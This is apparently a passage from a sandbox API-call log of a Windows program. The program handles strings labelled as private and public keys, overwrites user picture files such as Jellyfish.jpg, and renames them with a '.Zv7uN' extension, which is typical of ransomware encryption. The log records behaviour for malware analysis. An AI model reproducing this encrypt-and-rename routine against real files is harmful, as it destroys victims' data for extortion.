lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0120.463] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x2c6381c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0120.464] GetCurrentThreadId () returned 0xa30 [0120.464] GetCurrentThreadId () returned 0xa30 [0120.464] GetCurrentThreadId () returned 0xa30 [0120.464] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0120.465] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x1ef116c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0120.465] GetCurrentThreadId () returned 0xa30 [0120.465] GetCurrentThreadId () returned 0xa30 [0120.465] GetCurrentThreadId () returned 0xa30 [0120.465] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.465] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0120.465] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.465] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xbd616 [0120.465] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0120.466] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7eee0000 [0120.466] ReadFile (in: hFile=0x1ec, lpBuffer=0x7eee0010, nNumberOfBytesToRead=0xbd616, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x7eee0010*, lpNumberOfBytesRead=0x18f6a0*=0xbd616, lpOverlapped=0x0) returned 1 [0120.495] CloseHandle (hObject=0x1ec) returned 1 [0120.495] VirtualAlloc (lpAddress=0x0, dwSize=0xc0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ee20000 [0120.501] VirtualAlloc (lpAddress=0x0, dwSize=0xe0000, flAllocationType=0x101000, flProtect=0x4) returned 0x7ed40000 [0120.553] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0120.682] WriteFile (in: hFile=0x1ec, lpBuffer=0x7ee20010*, nNumberOfBytesToWrite=0xbd616, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x7ee20010*, lpNumberOfBytesWritten=0x18f6ac*=0xbd616, lpOverlapped=0x0) returned 1 [0120.708] CloseHandle (hObject=0x1ec) returned 1 [0120.708] MoveFileW (lpExistingFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg"), lpNewFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Jellyfish.jpg.Zv7uN" (normalized: "c:\\users\\public\\pictures\\sample pictures\\jellyfish.jpg.zv7un")) returned 1 [0120.709] VirtualFree (lpAddress=0x7eee0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.717] VirtualFree (lpAddress=0x7ee20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.743] VirtualFree (lpAddress=0x7ed40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0120.752] GetCurrentThreadId () returned 0xa30 [0120.752] GetCurrentThreadId () returned 0xa30 [0120.752] GetCurrentThreadId () returned 0xa30 [0120.752] GetCurrentThreadId () returned 0xa30 [0120.752] GetCurrentThreadId () returned 0xa30 [0120.752] GetCurrentThreadId () returned 0xa30 [0120.752] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f, dwReserved0=0x2e0000, dwReserved1=0x75a54012, cFileName="Koala.jpg", cAlternateFileName="")) returned 1 [0120.752] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0120.752] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0120.752] GetFileAttributesExW (in: lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8031a7b6, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7be84d57, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7be84d57, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0xbea1f)) returned 1 [0120.753] GetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg" (normalized: "c:\\users\\public\\pictures\\sample pictures\\koala.jpg")) returned 0x20 [0120.753] SetFileAttributesW (lpFileName="C:\\Users\\Public\\Pictures\\Sample Pictures\\Koala.jpg", dwFileAttributes=0x80) returned 1 [0120.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0120.755] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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